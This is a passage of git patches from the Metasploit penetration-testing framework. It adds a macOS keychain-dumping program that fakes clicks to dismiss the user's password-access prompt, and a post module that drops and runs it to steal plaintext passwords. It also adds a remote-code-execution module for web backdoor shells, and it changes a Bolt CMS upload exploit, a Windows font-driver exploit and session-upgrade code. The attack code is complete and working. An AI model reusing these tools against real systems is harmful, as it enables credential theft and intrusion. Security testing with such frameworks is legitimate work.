z;ynkAThm5+Z@xcm9O;k6lg5{GcjV2?VPm)o2Idnv!>;1d)A`02zOOkymdTn?{=Gu# zP}Vq@N+hEBxRK7J`qMchf4(so2H}aD@tEOb@D@By@iE)WQZEFJ-7s=q(}|DN*LMTK z_5Q2NdCK?<iu#Knqa9@)?G56l?lIgvntTN}zWu7gjV>8gd>t0YUR6A^#_?9wLy(1{ z9A%Q9M`Gk(i#Ojl#nS17xoPn$(`Y+i^VFkU&a<k-lhv<3gQ7%#eSkhxqA$L)?91L5 zp#5mstIFjvc?4T-!|!8vkmr(eI|45$`}PF;y1K-(=#^uiK4|}ius<cQ8q<0;Hsa`u zVSUrbRVTO>gsN(VfSvl3;Ogv|IKOP;*982N2Lc*JobSaGzft3ZT3)NhPkd6f@6h;+ z#_uE!b=?S4@_#|&{{I^62ab9+$@L{XffSEj?+@VL2;ff!@SiEXc<lPR!i)0f1MMGI z%8TuP8o)oV@S?o5!WqAESpoV-6wbLI*JA<v`2hVZ3NQBe*8!Zf992bq%LDk;0lYbY z-x0uj1Ne~uet!V}W&nRg;l=*_v%-tV*v|&=mjm>_3gEv9;2#F?Wymn-e^DQP86p2% za4Fyh+?)j0;AY%jhnw-uGks<pp8a2p`)b^OjGM^;SJPTN_&*s4VfnuZejkHymH#!l z5^x>vKf-+#ZqASOxc?Bn>kKSXovC<IRvi2_$I_%9RY^Z889yo+Kbl^Y)uU;h)}uPF zNA*Gw)hk2Us(scq(QlB&5XkSf3WDye%b#A0&%Cz`)-K(T1SuBnJI~TsTCI&Bh2F`W zakuinZ%G&J)MO*Gs7CGGg8S6cR!r~DN)@HOS!us&l#0QvYpG?)##Ne1n^YyFgmcp> yBuloeWwo+lEyKAz6|}fn_4jLM-^=L#n9`e=;D)Y*tDT(Q!l}L6l5H;L)c*jm!E?X> literal 0 HcmV?d00001 diff --git a/data/exploits/osx/dump_keychain/dump.m b/data/exploits/osx/dump_keychain/dump.m new file mode 100644 index 0000000000..e18d915868 --- /dev/null +++ b/data/exploits/osx/dump_keychain/dump.m @@ -0,0 +1,161 @@ +// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump + +#import <Cocoa/Cocoa.h> +#import <CoreFoundation/CoreFoundation.h> +#import <Security/Security.h> +#include <ApplicationServices/ApplicationServices.h> +#include <unistd.h> +#include <pthread.h> + +#define TIMEOUT 3 + +void click(float x, float y) { + + CGEventRef move1 = CGEventCreateMouseEvent( + NULL, kCGEventMouseMoved, + CGPointMake(x, y), + kCGMouseButtonLeft // ignored + ); + CGEventRef click1_down = CGEventCreateMouseEvent( + NULL, kCGEventLeftMouseDown, + CGPointMake(x, y), + kCGMouseButtonLeft + ); + CGEventRef click1_up = CGEventCreateMouseEvent( + NULL, kCGEventLeftMouseUp, + CGPointMake(x, y), + kCGMouseButtonLeft + ); + + CGEventPost(kCGHIDEventTap, move1); + CGEventPost(kCGHIDEventTap, click1_down); + CGEventPost(kCGHIDEventTap, click1_up); + + // Release the events + CFRelease(move1); + CFRelease(click1_up); + CFRelease(click1_down); +} + +void parse_windows(int offx, int offy) { + CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID); + for (NSMutableDictionary* entry in (NSArray*)windowList) + { + CGRect rect; + NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName]; + if ([ownerName isEqualToString: @"SecurityAgent"]) { + CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds]; + CGRectMakeWithDictionaryRepresentation(bounds, &rect); + float spotx = rect.origin.x + 385 + offx; + float spoty = rect.origin.y + rect.size.height - 25 + offy; + click(spotx, spoty); + } + + } + CFRelease(windowList); +} + +void poll_ui() { + while(1) { + sleep(0.0001); + parse_windows(0, 0); + } +} + +id tQuery = NULL; +CFTypeRef result = NULL; + +void prompt() { + SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result); +} + +void dump(NSArray *refs) { + NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs + options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string + error: NULL]; + [jsonData writeToFile: @"/dev/stdout" atomically: NO]; +} + +int main() { + pthread_t thread_prompt, thread_click; + NSArray *secItemClasses = [NSArray arrayWithObjects: + (__bridge id)kSecClassGenericPassword, + (__bridge id)kSecClassInternetPassword, + nil]; + NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys: + (__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit, + (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes, + (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef, + nil]; + NSMutableArray *refs = [NSMutableArray new]; + for (id secItemClass in secItemClasses) { + [query setObject:secItemClass forKey:(__bridge id)kSecClass]; + + CFTypeRef result1 = NULL; + SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1); + NSArray *data = (__bridge NSArray*)result1; + if (data) { + for (NSDictionary *item in data) { + if (!item) continue; + NSMutableDictionary *newItem = [NSMutableDictionary new]; + for (NSString* key in item) { + [newItem setObject:[[item objectForKey: key] description] forKey: key]; + } + [newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"]; + [refs addObject: newItem]; + } + if (result1 != NULL) CFRelease(result1); + } + } + + NSMutableArray *all = [NSMutableArray new]; + for (id ref in refs) { + tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys: + (__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef, + (__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData, + nil]; + for (id secItemClass in secItemClasses) { + [tQuery setObject:secItemClass forKey:(__bridge id)kSecClass]; + + result = NULL; + pthread_create(&thread_click, NULL, (void*)poll_ui, NULL); + pthread_create(&thread_prompt, NULL, (void*)prompt, NULL); + + time_t end = time(NULL) + TIMEOUT; + int found = 0; + while(time(NULL) < end) { + if (result != NULL) { + found = 1; + break; + } + sleep(0.1); + } + + pthread_cancel(thread_click); + pthread_cancel(thread_prompt); + + [ref removeObjectForKey: @"v_Ref"]; + + // we didnt find anything in TIMEOUT seconds. this can happen if the keychain + // is locked + if (!found) { + parse_windows(-80, 0); // click cancel + dump(all); // get out now + return 0; + } + + NSString *pass = @"(null)"; + if (result && [result bytes]) { + pass = [NSString stringWithUTF8String:[result bytes]]; + if (!pass) pass = @"(null)"; + } else { + pass = @"(null)"; + } + [ref setObject:pass forKey: @"Private"]; + [all addObject: ref]; + } + } + + dump(all); + return 0; +} diff --git a/modules/post/osx/gather/enum_keychain.rb b/modules/post/osx/gather/enum_keychain.rb index deb9ee7eb0..f27909c5ba 100644 --- a/modules/post/osx/gather/enum_keychain.rb +++ b/modules/post/osx/gather/enum_keychain.rb @@ -7,24 +7,30 @@ require 'msf/core' class Metasploit3 < Msf::Post + include Msf::Post::OSX::System + include Msf::Exploit::FileDropper + def initialize(info={}) super(update_info(info, 'Name' => 'OS X Gather Keychain Enumeration', 'Description' => %q{ This module presents a way to quickly go through the current user's keychains and collect data such as email accounts, servers, and other services. Please note: - when using the GETPASS option, the user will have to manually enter the password, - and then click 'allow' in order to collect each password. + when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication + alert flash briefly on their screen that gets dismissed by a programatically triggered click. }, 'License' => MSF_LICENSE, - 'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>'], + 'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ], 'Platform' => [ 'osx' ], 'SessionTypes' => [ 'shell' ] )) register_options( [ - OptBool.new('GETPASS', [false, 'Collect passwords.', false]) + OptBool.new('GETPASS', [false, 'Collect passwords.', false]), + OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]), + OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]), + OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) ], self.class) end @@ -40,27 +46,25 @@ class Metasploit3 < Msf::Post user = cmd_exec("whoami").chomp out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'") - i = 0 - accounts = {} + accounts = [] out.split("\n").each do |line| unless line =~ /NULL/ case line when /\"acct\"/ - i+=1 - accounts[i]={} - accounts[i]["acct"] = line.split('<blob>=')[1].split('"')[1] + accounts << Hash.new + accounts.last["acct"] = line.split('<blob>=')[1].split('"')[1] when /\"srvr\"/ - accounts[i]["srvr"] = line.split('<blob>=')[1].split('"')[1] + accounts.last["srvr"] = line.split('<blob>=')[1].split('"')[1] when /\"svce\"/ - accounts[i]["svce"] = line.split('<blob>=')[1].split('"')[1] + accounts.last["svce"] = line.split('<blob>=')[1].split('"')[1] when /\"desc\"/ - accounts[i]["desc"] = line.split('<blob>=')[1].split('"')[1] + accounts.last["desc"] = line.split('<blob>=')[1].split('"')[1] end end end - return accounts + accounts end def get_passwords(accounts) @@ -89,7 +93,7 @@ class Metasploit3 < Msf::Post end - def save(data) + def save(data, kind='Keychain information') l = store_loot('macosx.keychain.info', 'plain/text', session, @@ -97,7 +101,7 @@ class Metasploit3 < Msf::Post 'keychain_info.txt', 'Mac Keychain Account/Server/Service/Description') - print_good("#{@peer} - Keychain information saved in #{l}") + print_good("#{@peer} - #{kind} saved in #{l}") end def run @@ -114,14 +118,43 @@ class Metasploit3 < Msf::Post save(accounts) if datastore['GETPASS'] - begin - passwords = get_passwords(accounts) - rescue - print_error("#{@peer} - Module timed out, no passwords found.") - print_error("#{@peer} - This is likely due to the host not responding to the prompt.") + if (datastore['GETPASS_AUTO_ACCEPT']) + print_status("Writing auto-clicker to `#{clicker_file}'") + write_file(clicker_file, clicker_bin) + register_file_for_cleanup(clicker_file) + + print_status('Dumping keychain with auto-clicker...') + passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT']) + save(passwords, 'Plaintext passwords') + + begin + count = JSON.parse(passwords).count + print_good("Successfully stole #{count} passwords") + rescue JSON::ParserError => e + print_error("Response was not valid JSON") + end + else + begin + passwords = get_passwords(accounts) + rescue + print_error("#{@peer} - Module timed out, no passwords found.") + print_error("#{@peer} - This is likely due to the host not responding to the prompt.") + end + save(passwords) end - save(passwords) end end + def clicker_file + @clicker_file ||= + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" + end + + def clicker_bin + File.read(File.join( + Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump' + )) + end + + end From 0f8123ee23126ea4d3c12a184572a3e0df876781 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Tue, 8 Sep 2015 13:08:47 +0800 Subject: [PATCH 0583/2172] Simple Backdoor Shell Remote Code Execution --- .../multi/http/simple_backdoors_exec.rb | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 modules/exploits/multi/http/simple_backdoors_exec.rb diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb new file mode 100644 index 0000000000..270197d473 --- /dev/null +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -0,0 +1,92 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Simple Backdoor Shell Remote Code Execution', + 'Description' => %q{ + This module exploits unauthenticated simple web backdoor shells by leveraging the + common backdoor shell's CMD parameter to execute commands. The SecLists project of + Daniel Miessler and Jason Haddix has a lot of samples for this kind of backdoor shells + which is categorized under Payloads. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jay Turla <@shipcod3>', + ], + 'References' => + [ + [ 'URL', 'http://resources.infosecinstitute.com/checking-out-backdoor-shells/' ], + [ 'URL', 'https://github.com/danielmiessler/SecLists/tree/master/Payloads' ] # Most PHP Web Backdoors Listed + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 2000, + 'BadChars' => '', + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd' + } + }, + 'Platform' => %w{ unix win }, + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['backdoor / Unix', { 'Platform' => 'unix' } ], + ['backdoor / Windows', { 'Platform' => 'win' } ] + ], + 'DisclosureDate' => 'Sep 08 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, "The path of a backdoor shell", "/cmd.php"]), + ],self.class) + end + + def check + test = "echo me" + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s), + 'vars_post' => + { + 'cmd' => test + } + } + shell = send_request_cgi(request_parameters) + if (shell and shell.body =~ /echo me/) + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def http_send_command(cmd) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path.to_s), + 'vars_get' => { + 'cmd' => cmd + } + }) + if not (res and res.code == 200) + fail_with(Failure::Unknown, 'Failed to execute the command.') + end + end + + def exploit + http_send_command(payload.encoded) + end +end From 37c28ddefb9259dfb07724080527b4e26234080d Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Tue, 8 Sep 2015 13:42:12 +0800 Subject: [PATCH 0585/2172] Update simple_backdoors_exec.rb Updated the description --- modules/exploits/multi/http/simple_backdoors_exec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 270197d473..afdf904043 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -15,9 +15,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'Simple Backdoor Shell Remote Code Execution', 'Description' => %q{ This module exploits unauthenticated simple web backdoor shells by leveraging the - common backdoor shell's CMD parameter to execute commands. The SecLists project of - Daniel Miessler and Jason Haddix has a lot of samples for this kind of backdoor shells - which is categorized under Payloads. + common backdoor shells' CMD parameter to execute commands. The SecLists project of + Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells + which are categorized under Payloads. }, 'License' => MSF_LICENSE, 'Author' => From 467f9a8353ec4b7ce638d6bf8b10a90521ef45fc Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Tue, 8 Sep 2015 14:45:54 +0800 Subject: [PATCH 0586/2172] Update simple_backdoors_exec.rb --- .../multi/http/simple_backdoors_exec.rb | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index afdf904043..f18ccb4584 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -15,9 +15,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'Simple Backdoor Shell Remote Code Execution', 'Description' => %q{ This module exploits unauthenticated simple web backdoor shells by leveraging the - common backdoor shells' CMD parameter to execute commands. The SecLists project of - Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells - which are categorized under Payloads. + common backdoor shell's CMD parameter to execute commands. The SecLists project of + Daniel Miessler and Jason Haddix has a lot of samples for this kind of backdoor shells + which is categorized under Payloads. }, 'License' => MSF_LICENSE, 'Author' => @@ -58,15 +58,14 @@ class Metasploit3 < Msf::Exploit::Remote def check test = "echo me" - request_parameters = { - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path.to_s), - 'vars_post' => + shell = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s), + 'vars_post' => { 'cmd' => test } - } - shell = send_request_cgi(request_parameters) + }) if (shell and shell.body =~ /echo me/) return Exploit::CheckCode::Vulnerable end From 002aada59de7e855978d17f5778b5fa0472fa629 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Tue, 8 Sep 2015 14:54:26 +0800 Subject: [PATCH 0587/2172] Update simple_backdoors_exec.rb changed shell to res --- modules/exploits/multi/http/simple_backdoors_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index f18ccb4584..8ee251f65f 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote def check test = "echo me" - shell = send_request_cgi({ + res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path.to_s), 'vars_post' => @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote 'cmd' => test } }) - if (shell and shell.body =~ /echo me/) + if res and res.body =~ /echo me/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe From 4e23bba14cdfea7ec18f6c35b6ef152eef88d43c Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Tue, 8 Sep 2015 15:47:38 +0800 Subject: [PATCH 0588/2172] Update simple_backdoors_exec.rb removing the parenthesis for the if statements --- modules/exploits/multi/http/simple_backdoors_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 8ee251f65f..0f73b3635c 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote 'cmd' => cmd } }) - if not (res and res.code == 200) + if not res and res.code == 200 fail_with(Failure::Unknown, 'Failed to execute the command.') end end From 4aae9b8272332da93ac198c6e9f59329b47ce92c Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 8 Sep 2015 15:37:42 +0200 Subject: [PATCH 0589/2172] support upgrading a powershell session to meterpreter --- lib/msf/base/sessions/powershell.rb | 7 +++++++ lib/msf/ui/console/command_dispatcher/core.rb | 4 ++-- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/msf/base/sessions/powershell.rb b/lib/msf/base/sessions/powershell.rb index 6451af384d..3606745d7b 100644 --- a/lib/msf/base/sessions/powershell.rb +++ b/lib/msf/base/sessions/powershell.rb @@ -27,6 +27,13 @@ class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell "powershell" end + # + # Returns the session platform. + # + def platform + "win" + end + # # Returns the session description. # diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 66dbb0af92..1eae4abfdd 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1917,12 +1917,12 @@ class Core session.response_timeout = response_timeout end begin - if session.type == 'shell' + if session.type.include? 'shell' session.init_ui(driver.input, driver.output) session.execute_script('post/multi/manage/shell_to_meterpreter') session.reset_ui else - print_error("Session #{sess_id} is not a command shell session, skipping...") + print_error("Session #{sess_id} is not a command shell session, it is #{session.type}, skipping...") next end ensure From 13afbc4eae2ddc87a39c1db874cc4975ebec3657 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 8 Sep 2015 10:40:08 -0500 Subject: [PATCH 0590/2172] Properly check root for remove_lock_root (android post module) This uses the Msf::Post::Android::Priv mixin. --- modules/post/android/manage/remove_lock_root.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/post/android/manage/remove_lock_root.rb b/modules/post/android/manage/remove_lock_root.rb index f0079e25e2..8f390a61b0 100644 --- a/modules/post/android/manage/remove_lock_root.rb +++ b/modules/post/android/manage/remove_lock_root.rb @@ -4,11 +4,12 @@ ## require 'msf/core' -require 'rex' +require 'msf/core/post/android' class Metasploit4 < Msf::Post include Msf::Post::Common + include Msf::Post::Android::Priv def initialize(info={}) super( update_info( info, { @@ -28,10 +29,9 @@ class Metasploit4 < Msf::Post end def run - id = cmd_exec('id') - unless id =~ /root/ - #print_error("This module requires root permissions") - #return + unless is_root? + print_error("This module requires root permissions.") + return end %W{ From 438ff9b66773aa08f6b26afdd99532ac381d5c28 Mon Sep 17 00:00:00 2001 From: Louis Sato <lsato@rapid7.com> Date: Tue, 8 Sep 2015 12:01:20 -0500 Subject: [PATCH 0591/2172] MSP-13025 Upgrading metasploit-credential version to 1.0.1 --- Gemfile.lock | 10 +++++----- metasploit-framework-db.gemspec | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 52c451a8aa..116da5fbf6 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -22,7 +22,7 @@ PATH tzinfo metasploit-framework-db (4.11.4) activerecord (>= 4.0.9, < 4.1.0) - metasploit-credential (= 1.0.0) + metasploit-credential (= 1.0.1) metasploit-framework (= 4.11.4) metasploit_data_models (= 1.2.5) pg (>= 0.11) @@ -111,7 +111,7 @@ GEM activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-credential (1.0.0) + metasploit-credential (1.0.1) metasploit-concern (~> 1.0) metasploit-model (~> 1.0) metasploit_data_models (~> 1.0) @@ -139,7 +139,7 @@ GEM mini_portile (0.6.2) minitest (4.7.5) msgpack (0.6.2) - multi_json (1.11.1) + multi_json (1.11.2) multi_test (0.1.2) network_interface (0.0.1) nokogiri (1.6.6.2) @@ -148,7 +148,7 @@ GEM network_interface (~> 0.0) pcaprub (~> 0.12) pcaprub (0.12.0) - pg (0.18.2) + pg (0.18.3) pg_array_parser (0.0.9) postgres_ext (2.4.1) activerecord (>= 4.0.0) @@ -200,7 +200,7 @@ GEM rspec-core (~> 2.99.0) rspec-expectations (~> 2.99.0) rspec-mocks (~> 2.99.0) - rubyntlm (0.5.1) + rubyntlm (0.5.2) rubyzip (1.1.7) shoulda-matchers (2.8.0) activesupport (>= 3.0.0) diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index 7f5211f076..f287048c7d 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -29,7 +29,7 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '1.0.0' + spec.add_runtime_dependency 'metasploit-credential', '1.0.1' # Database models shared between framework and Pro. spec.add_runtime_dependency 'metasploit_data_models', '1.2.5' # depend on metasploit-framewrok as the optional gems are useless with the actual code From 329e6f4633a2e68b94e69e37048d850cd919dc20 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 8 Sep 2015 15:31:14 -0500 Subject: [PATCH 0592/2172] Fix title --- modules/exploits/windows/local/ms15_078_atmfd_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index 0981ea68a4..3327ef3766 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super(update_info(info, { - 'Name' => 'MS15-004 Microsoft Windows Font Driver Buffer Overflow', + 'Name' => 'MS15-078 Microsoft Windows Font Driver Buffer Overflow', 'Description' => %q{ This module exploits a pool based buffer overflow in the atmfd.dll driver when parsing a malformed font. The vulnerability was exploited by the hacking team and disclosed on From 31a89073856c8a0d7209da5ab38286fcaf1790b4 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Wed, 9 Sep 2015 08:30:21 +0800 Subject: [PATCH 0593/2172] Update simple_backdoors_exec.rb --- modules/exploits/multi/http/simple_backdoors_exec.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 0f73b3635c..143a468989 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -52,21 +52,21 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [true, "The path of a backdoor shell", "/cmd.php"]), + OptString.new('TARGETURI', [true, 'The path of a backdoor shell', 'cmd.php']), ],self.class) end def check - test = "echo me" + test = 'echo me' res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path.to_s), + 'uri' => normalize_uri(target_uri.path), 'vars_post' => { 'cmd' => test } }) - if res and res.body =~ /echo me/ + if res && res.body =~ /echo me/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe @@ -75,12 +75,12 @@ class Metasploit3 < Msf::Exploit::Remote def http_send_command(cmd) res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path.to_s), + 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'cmd' => cmd } }) - if not res and res.code == 200 + if !res && res.code == 200 fail_with(Failure::Unknown, 'Failed to execute the command.') end end From 6de0c9584df7cf469fd624d2df9793a7a8b82921 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Tue, 8 Sep 2015 23:15:42 -0300 Subject: [PATCH 0594/2172] Fix some improvements --- .../exploits/unix/webapp/bolt_file_upload.rb | 38 ++++++------------- 1 file changed, 12 insertions(+), 26 deletions(-) diff --git a/modules/exploits/unix/webapp/bolt_file_upload.rb b/modules/exploits/unix/webapp/bolt_file_upload.rb index c5e5b8389f..fa2408b67e 100644 --- a/modules/exploits/unix/webapp/bolt_file_upload.rb +++ b/modules/exploits/unix/webapp/bolt_file_upload.rb @@ -62,8 +62,13 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login') ) + unless res + print_error("#{peer} - No response from server.") + return + end + session_cookie = res.get_cookies - vprint_status('Logging in...') + vprint_status("#{peer} - Logging in...") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login'), @@ -75,11 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote } ) - unless res && res.code == 302 - print_error("#{peer} - Login failed") - end - - if res.code == 302 && res.redirection.to_s.include?('/bolt/bolt') + if res && res.code == 302 && res.redirection.to_s.include?('/bolt/bolt') session_cookie = res.get_cookies return session_cookie end @@ -93,11 +94,6 @@ class Metasploit3 < Msf::Exploit::Remote 'cookie' => cookie ) - unless res - print_error("#{peer} - Unable to connect in the Server") - return - end - if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" / return Regexp.last_match[1] end @@ -105,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote end def rename_payload(cookie, payload) - res = send_request_cgi( + res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bolt', 'async', 'renamefile'), 'vars_post' => { @@ -117,12 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote 'cookie' => cookie ) - unless res - vprint_error("#{peer} - Unable to rename de file.") - return - end - - if res.code == 200 + if res && res.code == 200 return true end nil @@ -138,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_good("#{peer} - Authenticated with Bolt.") token = get_token(cookie) - if nonce.nil? + if token.nil? print_error("#{peer} - No token found.") return end @@ -161,12 +152,7 @@ class Metasploit3 < Msf::Exploit::Remote 'cookie' => cookie ) - unless res - print_error("#{peer} - No response from the target") - return - end - - if res.code == 304 + if res && res.code == 302 vprint_good("#{peer} - Uploaded the payload") rename = rename_payload(cookie, payload_name) @@ -187,7 +173,7 @@ class Metasploit3 < Msf::Exploit::Remote ) vprint_good("#{peer} - Executed payload") else - print_error("#{peer} - To do") + print_error("#{peer} - Exploit failed. Aborting.") end end end From f08cf97224e3210b183571ce41ad65c816aec437 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Tue, 8 Sep 2015 23:54:20 -0300 Subject: [PATCH 0595/2172] Check method implemented --- modules/exploits/unix/webapp/bolt_file_upload.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/bolt_file_upload.rb b/modules/exploits/unix/webapp/bolt_file_upload.rb index fa2408b67e..3fb9133ed1 100644 --- a/modules/exploits/unix/webapp/bolt_file_upload.rb +++ b/modules/exploits/unix/webapp/bolt_file_upload.rb @@ -45,7 +45,15 @@ class Metasploit3 < Msf::Exploit::Remote end def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login') + ) + if res && res.code == 200 && res.body.include?('Cookies are required to log on to Bolt') + return Exploit::CheckCode::Appears + end + Exploit::CheckCode::Safe end def username @@ -81,8 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote ) if res && res.code == 302 && res.redirection.to_s.include?('/bolt/bolt') - session_cookie = res.get_cookies - return session_cookie + return res.get_cookies end nil end From 48bd2c72a06f21a02256a7fc1e0f4c5324196be3 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Wed, 9 Sep 2015 01:11:35 -0300 Subject: [PATCH 0596/2172] 